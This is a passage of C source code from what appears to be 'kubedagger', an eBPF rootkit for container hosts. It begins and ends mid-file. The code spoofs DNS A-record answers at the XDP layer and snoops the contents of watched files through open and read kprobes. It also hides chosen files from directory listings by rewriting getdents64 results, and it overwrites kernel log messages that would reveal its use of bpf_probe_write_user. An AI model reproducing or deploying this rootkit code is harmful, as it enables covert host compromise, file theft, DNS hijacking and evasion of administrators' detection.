PING_RUN_CHR '2' 46 | #define PING_HIDE_CHR '3' 47 | 48 | #define PING_NOP 0 49 | #define PING_CRASH 1 50 | #define PING_RUN 2 51 | #define PING_HIDE 3 52 | 53 | #define DOCKER_IMAGE_LEN 64 54 | 55 | #define DOCKER_IMAGE_NOP_CHR '0' 56 | #define DOCKER_IMAGE_REPLACE_CHR '1' 57 | 58 | #define DOCKER_IMAGE_NOP 0 59 | #define DOCKER_IMAGE_REPLACE 1 60 | 61 | #define DEDICATED_WATCH_KEY_DOCKER 0 62 | #define DEDICATED_WATCH_KEY_POSTGRES 1 63 | #define DEDICATED_WATCH_KEY_NETWORK_DISCOVERY 2 64 | 65 | #define RAW_PACKET_LEN 64 66 | #define ARP_REQUEST_RAW_PACKET 1 67 | #define SYN_REQUEST_RAW_PACKET 2 68 | #define SYN_REQUEST_PACKET_LEN 54 69 | 70 | #define ARP_REQUEST_STEP 0 71 | #define ARP_REPLY_STEP 1 72 | #define SYN_STEP 2 73 | #define SYN_LOOP_STEP 3 74 | #define SCAN_FINISHED 4 75 | 76 | #define COOL 0xc001 77 | 78 | // fs max segment length 79 | #define FS_MAX_SEGMENT_LENGTH 32 80 | 81 | #define LOAD_CONSTANT(param, var) asm("%0 = " param " ll" : "=r"(var)) 82 | 83 | __attribute__((always_inline)) u16 load_http_server_port() { 84 | u64 http_server_port = 0; 85 | LOAD_CONSTANT("http_server_port", http_server_port); 86 | return (u16)http_server_port; 87 | } 88 | 89 | __attribute__((always_inline)) u32 get_kubedagger_pid() { 90 | u64 kubedagger_pid = 0; 91 | LOAD_CONSTANT("kubedagger_pid", kubedagger_pid); 92 | return (u32)kubedagger_pid; 93 | } 94 | 95 | #endif 96 | -------------------------------------------------------------------------------- /ebpf/kubedagger/dns.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _DNS_H_ 9 | #define _DNS_H_ 10 | 11 | struct dnshdr { 12 | uint16_t id; 13 | union { 14 | struct { 15 | uint8_t rd : 1; 16 | uint8_t tc : 1; 17 | uint8_t aa : 1; 18 | uint8_t opcode : 4; 19 | uint8_t qr : 1; 20 | 21 | uint8_t rcode : 4; 22 | uint8_t cd : 1; 23 | uint8_t ad : 1; 24 | uint8_t z : 1; 25 | uint8_t ra : 1; 26 | } as_bits_and_pieces; 27 | uint16_t as_value; 28 | } flags; 29 | uint16_t qdcount; 30 | uint16_t ancount; 31 | uint16_t nscount; 32 | uint16_t arcount; 33 | }; 34 | 35 | PARSE_FUNC(dnshdr) 36 | 37 | struct dns_name_t { 38 | char name[DNS_MAX_LENGTH]; 39 | }; 40 | 41 | struct bpf_map_def SEC("maps/dns_name_gen") dns_name_gen = { 42 | .type = BPF_MAP_TYPE_PERCPU_ARRAY, 43 | .key_size = sizeof(u32), 44 | .value_size = sizeof(struct dns_name_t), 45 | .max_entries = 1, 46 | .pinning = 0, 47 | .namespace = "", 48 | }; 49 | 50 | struct bpf_map_def SEC("maps/dns_table") dns_table = { 51 | .type = BPF_MAP_TYPE_LRU_HASH, 52 | .key_size = sizeof(struct dns_name_t), 53 | .value_size = sizeof(u32), 54 | .max_entries = 512, 55 | .pinning = PIN_NONE, 56 | .namespace = "", 57 | }; 58 | 59 | struct dns_request_cache_key_t { 60 | u32 saddr; 61 | u32 daddr; 62 | u16 source_port; 63 | u16 dest_port; 64 | u16 request_id; 65 | u16 padding; 66 | }; 67 | 68 | struct dns_request_cache_t { 69 | u32 name_length; 70 | u32 ip; 71 | }; 72 | 73 | struct bpf_map_def SEC("maps/dns_request_cache") dns_request_cache = { 74 | .type = BPF_MAP_TYPE_LRU_HASH, 75 | .key_size = sizeof(struct dns_request_cache_key_t), 76 | .value_size = sizeof(struct dns_request_cache_t), 77 | .max_entries = 1024, 78 | .pinning = PIN_NONE, 79 | .namespace = "", 80 | }; 81 | 82 | __attribute__((always_inline)) int handle_dns_req(struct __sk_buff *skb, struct cursor *c, struct pkt_ctx_t *pkt) { 83 | struct dnshdr header = {}; 84 | u32 offset = ((u32)(long)c->pos - skb->data); 85 | 86 | if (bpf_skb_load_bytes(skb, offset, &header, sizeof(header)) < 0) { 87 | return TC_ACT_OK; 88 | } 89 | offset += sizeof(header); 90 | 91 | u32 qname_length = 0; 92 | u8 end_of_name = 0; 93 | u32 key_gen = 0; 94 | struct dns_name_t *name = bpf_map_lookup_elem(&dns_name_gen, &key_gen); 95 | if (name == NULL) 96 | return TC_ACT_OK; 97 | 98 | #pragma unroll 99 | for (int i = 0; i < DNS_MAX_LENGTH; i++) { 100 | if (end_of_name) { 101 | name->name[i] = 0; 102 | continue; 103 | } 104 | 105 | if (bpf_skb_load_bytes(skb, offset, &name->name[i], sizeof(u8)) < 0) { 106 | return TC_ACT_OK; 107 | } 108 | 109 | qname_length += 1; 110 | offset += 1; 111 | 112 | if (name->name[i] == 0) { 113 | end_of_name = 1; 114 | } 115 | } 116 | 117 | // Handle qtype 118 | u16 qtype = 0; 119 | if (bpf_skb_load_bytes(skb, offset, &qtype, sizeof(u16)) < 0) { 120 | return TC_ACT_OK; 121 | } 122 | qtype = htons(qtype); 123 | offset += sizeof(u16); 124 | 125 | // Handle qclass 126 | u16 qclass = 0; 127 | if (bpf_skb_load_bytes(skb, offset, &qclass, sizeof(u16)) < 0) { 128 | return TC_ACT_OK; 129 | } 130 | qclass = htons(qclass); 131 | offset += sizeof(u16); 132 | 133 | // Lookup DNS name and cache DNS request id <-> IP 134 | u32 *ip = bpf_map_lookup_elem(&dns_table, name->name); 135 | if (ip == NULL) 136 | return TC_ACT_OK; 137 | 138 | struct dns_request_cache_key_t key = { 139 | .saddr = pkt->ipv4->saddr, 140 | .daddr = pkt->ipv4->daddr, 141 | .source_port = pkt->udp->source, 142 | .dest_port = pkt->udp->dest, 143 | .request_id = header.id, 144 | }; 145 | struct dns_request_cache_t entry = { 146 | .name_length = qname_length, 147 | .ip = *ip, 148 | }; 149 | bpf_map_update_elem(&dns_request_cache, &key, &entry, BPF_ANY); 150 | 151 | return TC_ACT_OK; 152 | } 153 | 154 | __attribute__((always_inline)) int handle_dns_resp(struct xdp_md *ctx, struct cursor *c, struct pkt_ctx_t *pkt) { 155 | struct dnshdr *header; 156 | if (!(header = parse_dnshdr(c))) 157 | goto exit; 158 | 159 | // check if query is tracked 160 | struct dns_request_cache_key_t key = { 161 | .saddr = pkt->ipv4->daddr, 162 | .daddr = pkt->ipv4->saddr, 163 | .source_port = pkt->udp->dest, 164 | .dest_port = pkt->udp->source, 165 | .request_id = header->id, 166 | }; 167 | struct dns_request_cache_t *entry = bpf_map_lookup_elem(&dns_request_cache, &key); 168 | if (entry == NULL) 169 | goto exit; 170 | 171 | #pragma unroll 172 | for (int i = 0; i < DNS_MAX_LENGTH; i++) { 173 | if (i >= entry->name_length) { 174 | goto name_jumped; 175 | } 176 | 177 | if (c->pos + 1 > c->end) { 178 | goto exit; 179 | } 180 | c->pos += 1; 181 | } 182 | 183 | name_jumped: 184 | // jump qtype and qclass 185 | if (c->pos + 2 * sizeof(u16) > c->end) { 186 | goto exit; 187 | } 188 | c->pos += 2 * sizeof(u16); 189 | 190 | 191 | #pragma unroll 192 | for (int j = 0; j < 5; j++) { 193 | // Check if packet compression is used 194 | u8 *compression = c->pos; 195 | if (c->pos + 1 > c->end) { 196 | goto exit; 197 | } 198 | 199 | if ((*compression >> 6) == DNS_COMPRESSION_FLAG) { 200 | // jump the compression and offset 201 | if (c->pos + 2*sizeof(u8) > c->end) { 202 | goto exit; 203 | } 204 | c->pos += 2*sizeof(u8); 205 | 206 | // parse type 207 | u16 *type = c->pos; 208 | if (c->pos + sizeof(u16) > c->end) { 209 | goto exit; 210 | } 211 | c->pos += sizeof(u16); 212 | 213 | // exit for non A record 214 | if (htons(*type) != DNS_A_RECORD) { 215 | goto exit; 216 | } 217 | 218 | // jump class, ttl and rdlength 219 | if (c->pos + 2*sizeof(u16) + sizeof(u32) > c->end) { 220 | goto exit; 221 | } 222 | c->pos += 2*sizeof(u16) + sizeof(u32); 223 | 224 | // parse ip 225 | u32 *ip = c->pos; 226 | if (c->pos + sizeof(u32) > c->end) { 227 | goto exit; 228 | } 229 | c->pos += sizeof(u32); 230 | 231 | // Convert the IP addresses from network byte order to host byte order 232 | u32 h_old_ip = ntohs(*ip >> 16) + (ntohs(*ip) << 16); 233 | u32 h_new_ip = ntohs(entry->ip >> 16) + (ntohs(entry->ip) << 16); 234 | 235 | // Based on the offset from the beguinning of the data section, reorder the bytes of the IPs so that they 236 | // impact the correct bytes of the checksum. 237 | u32 minus_old_ip_sum, plus_new_ip_sum; 238 | switch (((void*)ip - (void*)pkt->udp + sizeof(*pkt->udp)) % 4) { 239 | case 0: 240 | case 2: 241 | minus_old_ip_sum = (u16)(h_old_ip >> 16) + (u16)h_old_ip; 242 | plus_new_ip_sum = (u16)(h_new_ip >> 16) + (u16)h_new_ip; 243 | break; 244 | case 1: 245 | case 3: 246 | minus_old_ip_sum = (u16)(h_old_ip >> 8) + (u16)(((u8)h_old_ip << 8) + (u8)(h_old_ip >> 24)); 247 | plus_new_ip_sum = (u16)(h_new_ip >> 8) + (u16)(((u8)h_new_ip << 8) + (u8)(h_new_ip >> 24)); 248 | break; 249 | } 250 | 251 | // Adding 0xffff doesn't change anything to the checksum but makes it easier to understand what happens when 252 | // the initial checksum is smaller that the the computed sum of the old IP (minus_old_ip_sum). 253 | u32 l_h_new_csum = 0xffff + (u16)~ntohs(pkt->udp->check) - minus_old_ip_sum + plus_new_ip_sum; 254 | // make sure we properly reduce the checksum to a sum of u16 255 | l_h_new_csum = (u16)~((l_h_new_csum >> 16) + (u16) l_h_new_csum); 256 | 257 | *ip = entry->ip; 258 | // UDP checksums are not required, so we could also have simply set it to 0 :facepalm: 259 | pkt->udp->check = htons(l_h_new_csum); 260 | } 261 | } 262 | 263 | exit: 264 | return XDP_PASS; 265 | } 266 | 267 | SEC("xdp/ingress/handle_dns_resp") 268 | int xdp_ingress_handle_dns_resp(struct xdp_md *ctx) { 269 | struct cursor c; 270 | struct pkt_ctx_t pkt; 271 | int ret = parse_xdp_packet(ctx, &c, &pkt); 272 | if (ret < 0) { 273 | return XDP_PASS; 274 | } 275 | 276 | switch (pkt.ipv4->protocol) { 277 | case IPPROTO_UDP: 278 | if (pkt.udp->source != htons(DNS_PORT)) { 279 | return XDP_PASS; 280 | } 281 | 282 | handle_dns_resp(ctx, &c, &pkt); 283 | break; 284 | } 285 | 286 | return XDP_PASS; 287 | } 288 | 289 | #endif 290 | -------------------------------------------------------------------------------- /ebpf/kubedagger/fs.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _FS_H_ 9 | #define _FS_H_ 10 | 11 | struct bpf_map_def SEC("maps/open_cache") open_cache = { 12 | .type = BPF_MAP_TYPE_LRU_HASH, 13 | .key_size = sizeof(u64), 14 | .value_size = sizeof(struct fs_watch_key_t), 15 | .max_entries = 1024, 16 | .pinning = 0, 17 | .namespace = "", 18 | }; 19 | 20 | __attribute__((always_inline)) int handle_open(const char* filename) { 21 | struct fs_watch_key_t key = { 22 | .flag = is_in_container(), 23 | }; 24 | bpf_probe_read_str(&key.filepath, sizeof(key.filepath), filename); 25 | // bpf_printk("f:%s\n", filename); 26 | 27 | // check if this file is being watched 28 | struct fs_watch_t *watch = bpf_map_lookup_elem(&fs_watches, &key); 29 | if (watch == NULL) 30 | return 0; 31 | 32 | // cache key for syscall return 33 | u64 id = bpf_get_current_pid_tgid(); 34 | bpf_map_update_elem(&open_cache, &id, &key, BPF_ANY); 35 | return 0; 36 | } 37 | 38 | SYSCALL_COMPAT_KPROBE3(open, const char*, filename, int, flags, umode_t, mode) { 39 | return handle_open(filename); 40 | } 41 | 42 | SYSCALL_COMPAT_KPROBE4(openat, int, dirfd, const char*, filename, int, flags, umode_t, mode) { 43 | return handle_open(filename); 44 | } 45 | 46 | struct watched_fds_key_t { 47 | u64 id; 48 | int fd; 49 | }; 50 | 51 | struct bpf_map_def SEC("maps/watched_fds") watched_fds = { 52 | .type = BPF_MAP_TYPE_LRU_HASH, 53 | .key_size = sizeof(struct watched_fds_key_t), 54 | .value_size = sizeof(struct fs_watch_key_t), 55 | .max_entries = 1024, 56 | .pinning = 0, 57 | .namespace = "", 58 | }; 59 | 60 | __attribute__((always_inline)) int handle_open_ret(struct pt_regs *ctx) { 61 | u64 id = bpf_get_current_pid_tgid(); 62 | struct fs_watch_key_t *file = bpf_map_lookup_elem(&open_cache, &id); 63 | if (file == NULL) 64 | return 0; 65 | 66 | int fd = PT_REGS_RC(ctx); 67 | if (fd < 0) 68 | goto exit; 69 | 70 | struct watched_fds_key_t fd_key = {}; 71 | fd_key.id = bpf_get_current_pid_tgid(); 72 | bpf_probe_read(&fd_key.fd, sizeof(fd_key.fd), &fd); 73 | bpf_map_update_elem(&watched_fds, &fd_key, file, BPF_ANY); 74 | 75 | exit: 76 | bpf_map_delete_elem(&open_cache, &id); 77 | return 0; 78 | } 79 | 80 | SYSCALL_COMPAT_KRETPROBE(open) { 81 | return handle_open_ret(ctx); 82 | } 83 | 84 | SYSCALL_COMPAT_KRETPROBE(openat) { 85 | return handle_open_ret(ctx); 86 | } 87 | 88 | struct read_cache_t { 89 | int fd; 90 | char *buf; 91 | struct fs_watch_key_t file; 92 | }; 93 | 94 | struct bpf_map_def SEC("maps/read_cache") read_cache = { 95 | .type = BPF_MAP_TYPE_LRU_HASH, 96 | .key_size = sizeof(u64), 97 | .value_size = sizeof(struct read_cache_t), 98 | .max_entries = 1024, 99 | .pinning = 0, 100 | .namespace = "", 101 | }; 102 | 103 | __attribute__((always_inline)) int handle_read(int fd, void *buf) { 104 | struct read_cache_t entry = {}; 105 | struct watched_fds_key_t fd_key = {}; 106 | fd_key.id = bpf_get_current_pid_tgid(); 107 | 108 | // check if fd is stdin from a pipe 109 | if (fd != 0) { 110 | // check if fd is watched 111 | bpf_probe_read(&fd_key.fd, sizeof(fd_key.fd), &fd); 112 | struct fs_watch_key_t *file = bpf_map_lookup_elem(&watched_fds, &fd_key); 113 | if (file == NULL) 114 | return 0; 115 | 116 | bpf_probe_read(&entry.file, sizeof(entry.file), file); 117 | } 118 | 119 | bpf_probe_read(&entry.buf, sizeof(entry.buf), &buf); 120 | bpf_probe_read(&entry.fd, sizeof(entry.fd), &fd); 121 | bpf_map_update_elem(&read_cache, &fd_key.id, &entry, BPF_ANY); 122 | return 0; 123 | } 124 | 125 | SYSCALL_KPROBE3(read, int, fd, void *, buf, size_t, count) { 126 | return handle_read(fd, buf); 127 | } 128 | 129 | __attribute__((always_inline)) int handle_read_ret(struct pt_regs *ctx) { 130 | u64 id = bpf_get_current_pid_tgid(); 131 | struct read_cache_t *entry = bpf_map_lookup_elem(&read_cache, &id); 132 | if (entry == NULL) 133 | return 0; 134 | 135 | if (entry->fd == 0) { 136 | return handle_stdin_read(ctx, entry->buf); 137 | } 138 | 139 | struct fs_watch_t *data = bpf_map_lookup_elem(&fs_watches, &entry->file); 140 | if (data != NULL) { 141 | if (data->content[0] != 0) { 142 | goto exit; // already read or written to 143 | } 144 | } 145 | 146 | u32 gen_key = 0; 147 | data = bpf_map_lookup_elem(&fs_watch_gen, &gen_key); 148 | if (data == NULL) 149 | goto exit; // should never happen 150 | 151 | int size = PT_REGS_RC(ctx); 152 | int cursor = 0; 153 | 154 | #pragma unroll 155 | for (int i = 0; i < FS_WATCH_MAX_CHUNK; i++) { 156 | cursor += bpf_probe_read_str(&data->content, sizeof(data->content), (char *)entry->buf + cursor); 157 | cursor--; 158 | 159 | if (cursor >= size) 160 | goto next; 161 | 162 | data->next_key = gen_random_key(); 163 | bpf_map_update_elem(&fs_watches, &entry->file, data, BPF_ANY); 164 | bpf_probe_read(&entry->file.filepath, sizeof(u32), &data->next_key); 165 | } 166 | 167 | next: 168 | data->next_key = 0; 169 | bpf_map_update_elem(&fs_watches, &entry->file, data, BPF_ANY); 170 | 171 | exit: 172 | bpf_map_delete_elem(&read_cache, &id); 173 | return 0; 174 | } 175 | 176 | SYSCALL_KRETPROBE(read) { 177 | return handle_read_ret(ctx); 178 | } 179 | 180 | __attribute__((always_inline)) int handle_close(int fd) { 181 | struct watched_fds_key_t fd_key = {}; 182 | fd_key.id = bpf_get_current_pid_tgid(); 183 | bpf_probe_read(&fd_key.fd, sizeof(fd_key.fd), &fd); 184 | 185 | struct fs_watch_key_t *file = bpf_map_lookup_elem(&watched_fds, &fd_key); 186 | if (file == NULL) 187 | return 0; 188 | 189 | bpf_map_delete_elem(&watched_fds, &fd_key); 190 | return 0; 191 | } 192 | 193 | SYSCALL_KPROBE1(close, int, fd) { 194 | return handle_close(fd); 195 | } 196 | 197 | #endif 198 | -------------------------------------------------------------------------------- /ebpf/kubedagger/fs_action_defs.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _FS_ACTION_DEFS_H_ 9 | #define _FS_ACTION_DEFS_H_ 10 | 11 | #define IS_PATH_SEP(C) C == '/' || C == '\0' 12 | 13 | // fs actions 14 | enum 15 | { 16 | FA_KMSG_ACTION = 1, 17 | FA_OVERRIDE_CONTENT_ACTION = 2, 18 | FA_OVERRIDE_RETURN_ACTION = 4, 19 | FA_HIDE_FILE_ACTION = 8, 20 | FA_APPEND_CONTENT_ACTION = 16, 21 | }; 22 | 23 | // fs action progs 24 | #define FA_OVERRIDE_CONTENT_PROG 2 25 | #define FA_FILL_WITH_ZERO_PROG 10 26 | #define FA_OVERRIDE_GET_DENTS_PROG 11 27 | 28 | struct bpf_map_def SEC("maps/fa_progs") fa_progs = { 29 | .type = BPF_MAP_TYPE_PROG_ARRAY, 30 | .key_size = sizeof(u32), 31 | .value_size = sizeof(u32), 32 | .max_entries = 20, 33 | }; 34 | 35 | struct fa_action_t 36 | { 37 | u64 id; 38 | s64 return_value; 39 | u64 override_id; 40 | u64 hidden_hash; 41 | }; 42 | 43 | struct fa_fd_action_t 44 | { 45 | u64 fd; 46 | struct fa_action_t action; 47 | }; 48 | 49 | struct bpf_map_def SEC("maps/fa_fd_actions") fa_fd_actions = { 50 | .type = BPF_MAP_TYPE_LRU_HASH, 51 | .key_size = sizeof(u64), 52 | .value_size = sizeof(struct fa_fd_action_t), 53 | .max_entries = 4096, 54 | .pinning = 0, 55 | .namespace = "", 56 | }; 57 | 58 | struct fa_fd_key_t 59 | { 60 | u64 fd; 61 | u32 pid; 62 | u32 padding; 63 | }; 64 | 65 | struct fa_fd_attr_t 66 | { 67 | struct fa_action_t action; 68 | 69 | u64 override_chunk; 70 | 71 | void *read_buf; 72 | u64 read_size; 73 | 74 | u64 kmsg; 75 | }; 76 | 77 | struct bpf_map_def SEC("maps/fa_fd_attrs") fa_fd_attrs = { 78 | .type = BPF_MAP_TYPE_LRU_HASH, 79 | .key_size = sizeof(struct fa_fd_key_t), 80 | .value_size = sizeof(struct fa_fd_attr_t), 81 | .max_entries = 4096, 82 | .pinning = 0, 83 | .namespace = "", 84 | }; 85 | 86 | struct fa_path_key_t 87 | { 88 | u64 hash; 89 | u64 pos; 90 | }; 91 | 92 | struct fa_path_attr_t 93 | { 94 | u64 fs_hash; 95 | u64 comm_hash; 96 | struct fa_action_t action; 97 | }; 98 | 99 | struct bpf_map_def SEC("maps/fa_path_attrs") fa_path_attrs = { 100 | .type = BPF_MAP_TYPE_HASH, 101 | .key_size = sizeof(struct fa_path_key_t), 102 | .value_size = sizeof(struct fa_path_attr_t), 103 | .max_entries = 4096, 104 | .pinning = 0, 105 | .namespace = "", 106 | }; 107 | 108 | struct fa_fd_content_key_t 109 | { 110 | u64 id; 111 | u32 chunk; 112 | u32 padding; 113 | }; 114 | 115 | struct fa_fd_content_t 116 | { 117 | u64 size; 118 | char content[64]; 119 | }; 120 | 121 | struct bpf_map_def SEC("maps/fa_fd_contents") fa_fd_contents = { 122 | .type = BPF_MAP_TYPE_HASH, 123 | .key_size = sizeof(struct fa_fd_content_key_t), 124 | .value_size = sizeof(struct fa_fd_content_t), 125 | .max_entries = 4096, 126 | .pinning = 0, 127 | .namespace = "", 128 | }; 129 | 130 | struct fa_getdents_t 131 | { 132 | struct linux_dirent64 *dirent; 133 | u64 hidden_hash; 134 | 135 | u64 read; 136 | u64 reclen; 137 | void *src; 138 | }; 139 | 140 | struct bpf_map_def SEC("maps/fa_getdents") fa_getdents = { 141 | .type = BPF_MAP_TYPE_LRU_HASH, 142 | .key_size = sizeof(u64), 143 | .value_size = sizeof(struct fa_getdents_t), 144 | .max_entries = 4096, 145 | .pinning = 0, 146 | .namespace = "", 147 | }; 148 | 149 | struct fa_kmsg_t 150 | { 151 | u64 size; 152 | char str[100]; 153 | }; 154 | 155 | struct bpf_map_def SEC("maps/fa_kmsgs") fa_kmsgs = { 156 | .type = BPF_MAP_TYPE_ARRAY, 157 | .key_size = sizeof(u32), 158 | .value_size = sizeof(struct fa_kmsg_t), 159 | .max_entries = 30, 160 | .pinning = 0, 161 | .namespace = "", 162 | }; 163 | 164 | #endif 165 | -------------------------------------------------------------------------------- /ebpf/kubedagger/fs_action_user.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _FS_ACTION_USER_H_ 9 | #define _FS_ACTION_USER_H_ 10 | 11 | SEC("kprobe/fa_override_content_user") 12 | int fa_override_content_user(struct pt_regs *ctx) 13 | { 14 | u64 pid_tgid = bpf_get_current_pid_tgid(); 15 | struct fa_fd_action_t *fd_action = (struct fa_fd_action_t *)bpf_map_lookup_elem(&fa_fd_actions, &pid_tgid); 16 | if (!fd_action) 17 | return 0; 18 | 19 | struct fa_fd_key_t fd_key = { 20 | .fd = fd_action->fd, 21 | .pid = pid_tgid >> 32, 22 | }; 23 | 24 | struct fa_fd_attr_t *fd_attr = (struct fa_fd_attr_t *)bpf_map_lookup_elem(&fa_fd_attrs, &fd_key); 25 | if (!fd_attr || !fd_attr->read_buf) 26 | return 0; 27 | 28 | struct fa_fd_content_key_t fd_content_key = { 29 | .id = fd_attr->action.override_id, 30 | .chunk = fd_attr->override_chunk, 31 | }; 32 | 33 | struct fa_fd_content_t *fd_content = (struct fa_fd_content_t *)bpf_map_lookup_elem(&fa_fd_contents, &fd_content_key); 34 | if (!fd_content) 35 | return 0; 36 | 37 | int i = 0; 38 | 39 | #pragma unroll 40 | for (i = 0; i != sizeof(fd_content->content); i++) 41 | { 42 | if (i == fd_content->size) 43 | break; 44 | 45 | bpf_probe_write_user(fd_attr->read_buf + i, &fd_content->content[i], 1); 46 | } 47 | 48 | return 0; 49 | } 50 | 51 | __attribute__((always_inline)) void copy(void *dst, void *src, int len) 52 | { 53 | #pragma unroll 54 | for (int i = 0; i != 10; i++) 55 | { 56 | if (len - 20 > 0) 57 | { 58 | bpf_probe_write_user(dst, src, 20); 59 | dst += 20; 60 | src += 20; 61 | 62 | len -= 20; 63 | } 64 | } 65 | 66 | if (len == 0) 67 | return; 68 | 69 | #pragma unroll 70 | for (int i = 0; i != 20; i++) 71 | { 72 | if (len > 0) 73 | { 74 | 75 | bpf_probe_write_user(dst, src, 1); 76 | dst++; 77 | src++; 78 | 79 | len--; 80 | } 81 | } 82 | } 83 | 84 | SEC("kprobe/fa_override_getdents_user") 85 | int fa_override_getdents(struct pt_regs *ctx) 86 | { 87 | u64 pid_tgid = bpf_get_current_pid_tgid(); 88 | struct fa_getdents_t *getdents = (struct fa_getdents_t *)bpf_map_lookup_elem(&fa_getdents, &pid_tgid); 89 | if (!getdents) 90 | return 0; 91 | 92 | int size = (unsigned int)PT_REGS_RC(ctx); 93 | 94 | char buff[256] = {}; 95 | u64 hash; 96 | 97 | unsigned short reclen = 0; 98 | 99 | #pragma unroll 100 | for (int i = 0; i != 100; i++) 101 | { 102 | if (!getdents->src) 103 | { 104 | bpf_probe_read_str(buff, sizeof(buff), (void *)getdents->dirent->d_name); 105 | 106 | hash = FNV_BASIS; 107 | update_hash_str(&hash, buff); 108 | 109 | bpf_probe_read(&reclen, sizeof(reclen), (void *)&getdents->dirent->d_reclen); 110 | 111 | if (hash == getdents->hidden_hash) 112 | { 113 | getdents->reclen = reclen; 114 | getdents->src = (void *)getdents->dirent + reclen; 115 | } 116 | } 117 | getdents->read += reclen; 118 | 119 | if (getdents->read < size && getdents->src && getdents->dirent != getdents->src) 120 | { 121 | struct linux_dirent64 src; 122 | bpf_probe_read(&src, sizeof(src), getdents->src); 123 | src.d_off -= reclen; 124 | 125 | bpf_probe_write_user((void *)getdents->dirent, &src, sizeof(src)); 126 | 127 | int remains = src.d_reclen - sizeof(struct linux_dirent64); 128 | if (remains > 0) 129 | { 130 | bpf_probe_read(buff, sizeof(buff), getdents->src + sizeof(struct linux_dirent64)); 131 | // currenlty doesn't support file longer than 220 132 | copy((void *)getdents->dirent + sizeof(struct linux_dirent64), buff, remains); 133 | } 134 | 135 | getdents->src = (void *)getdents->src + src.d_reclen; 136 | reclen = src.d_reclen; 137 | } 138 | 139 | getdents->dirent = (void *)getdents->dirent + reclen; 140 | } 141 | 142 | bpf_tail_call(ctx, &fa_progs, FA_OVERRIDE_GET_DENTS_PROG); 143 | 144 | return 0; 145 | } 146 | 147 | SYSCALL_KRETPROBE(getdents64) 148 | { 149 | u64 pid_tgid = bpf_get_current_pid_tgid(); 150 | struct fa_getdents_t *getdents = (struct fa_getdents_t *)bpf_map_lookup_elem(&fa_getdents, &pid_tgid); 151 | if (!getdents) 152 | return 0; 153 | 154 | if (getdents->reclen) 155 | { 156 | int size = (int)PT_REGS_RC(ctx); 157 | int ret = size - getdents->reclen; 158 | bpf_override_return(ctx, ret > 0 ? ret : 0); 159 | } 160 | 161 | return 0; 162 | } 163 | 164 | 165 | #define BPF_PROBE_WRITE_USER_HASH 0xada8e5f3e94cf1f8 166 | #define BPF_GET_PROBE_WRITE_PROTO_HASH 0x55c7edee212d1ef4 167 | #define IS_BPF_STR_HASH(hash) hash == BPF_PROBE_WRITE_USER_HASH || hash == BPF_GET_PROBE_WRITE_PROTO_HASH 168 | 169 | #define FAKE_KSMG_NUM 30 170 | 171 | SEC("kprobe/fa_fill_with_zero_user") 172 | int fa_fill_with_zero_user(struct pt_regs *ctx) 173 | { 174 | u64 pid_tgid = bpf_get_current_pid_tgid(); 175 | struct fa_fd_action_t *fd_action = (struct fa_fd_action_t *)bpf_map_lookup_elem(&fa_fd_actions, &pid_tgid); 176 | if (!fd_action) 177 | return 0; 178 | 179 | struct fa_fd_key_t fd_key = { 180 | .fd = fd_action->fd, 181 | .pid = pid_tgid >> 32, 182 | }; 183 | 184 | struct fa_fd_attr_t *fd_attr = (struct fa_fd_attr_t *)bpf_map_lookup_elem(&fa_fd_attrs, &fd_key); 185 | if (!fd_attr) 186 | return 0; 187 | 188 | const char c = '\0'; 189 | 190 | #pragma unroll 191 | for (int i = 0; i != 256; i++) 192 | { 193 | if (i == fd_attr->read_size - 1) 194 | break; 195 | bpf_probe_write_user(fd_attr->read_buf + i, &c, 1); 196 | } 197 | 198 | return 0; 199 | } 200 | 201 | SEC("kprobe/fa_kmsg_user") 202 | int fa_kmsg_user(struct pt_regs *ctx) 203 | { 204 | int retval = PT_REGS_RC(ctx); 205 | 206 | u64 pid_tgid = bpf_get_current_pid_tgid(); 207 | struct fa_fd_action_t *fd_action = (struct fa_fd_action_t *)bpf_map_lookup_elem(&fa_fd_actions, &pid_tgid); 208 | if (!fd_action) 209 | return 0; 210 | 211 | struct fa_fd_key_t fd_key = { 212 | .fd = fd_action->fd, 213 | .pid = pid_tgid >> 32, 214 | }; 215 | 216 | struct fa_fd_attr_t *fd_attr = (struct fa_fd_attr_t *)bpf_map_lookup_elem(&fa_fd_attrs, &fd_key); 217 | if (!fd_attr || !fd_attr->read_buf) 218 | return 0; 219 | 220 | char buf[128]; 221 | bpf_probe_read(buf, sizeof(buf), fd_attr->read_buf); 222 | 223 | u64 offset = 0, hash = 0; 224 | 225 | // keep timestamp, override only the message content 226 | #pragma unroll 227 | for (int i = 0; i != 128; i++) 228 | { 229 | if (buf[i] == ';' && !offset) 230 | { 231 | hash = FNV_BASIS; 232 | offset = i + 1; 233 | continue; 234 | } 235 | else if (buf[i] == ' ') 236 | { 237 | hash = FNV_BASIS; 238 | continue; 239 | } 240 | update_hash_byte(&hash, buf[i]); 241 | 242 | if (IS_BPF_STR_HASH(hash)) 243 | break; 244 | } 245 | 246 | if (IS_BPF_STR_HASH(hash)) 247 | { 248 | int key = fd_attr->kmsg % FAKE_KSMG_NUM; 249 | struct fa_kmsg_t *kmsg = (struct fa_kmsg_t *)bpf_map_lookup_elem(&fa_kmsgs, &key); 250 | if (!kmsg) 251 | return 0; 252 | fd_attr->kmsg++; 253 | 254 | bpf_probe_write_user(fd_attr->read_buf + offset, kmsg->str, sizeof(kmsg->str) - 1); 255 | 256 | fd_attr->read_buf += offset + sizeof(kmsg->str) - 1; 